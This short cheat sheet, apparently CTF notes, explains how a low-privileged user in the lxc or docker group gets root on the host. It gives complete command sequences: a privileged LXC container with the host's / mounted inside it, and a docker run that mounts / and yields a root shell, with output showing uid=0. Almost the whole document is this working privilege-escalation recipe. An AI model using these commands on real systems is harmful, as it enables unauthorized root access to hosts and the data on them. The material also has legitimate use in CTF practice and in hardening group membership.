lxc / lxd

If the low privileged user is a member of the lxc group then we can abuse lxc to access the hosts file system.

lxc image import ./alpine.tgz --alias myimage
lxd init
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh


If the low privileged user is a member of the docker group then we can use docker to access the hosts file system as root

Download: docker-alpine.tar

First we import the image

╰─⠠⠵ sudo docker import docker-alpine.tar alpine:ctf  

Then we check for the IMAGE ID

╰─⠠⠵ sudo docker images                             
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
alpine              ctf                 f40cb3e62c23        2 seconds ago       5.61MB

We then use that IAMGE ID in our docker command

╰─⠠⠵ sudo docker run -v /:/mnt --rm -it f40cb3e62c23 /bin/sh
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ #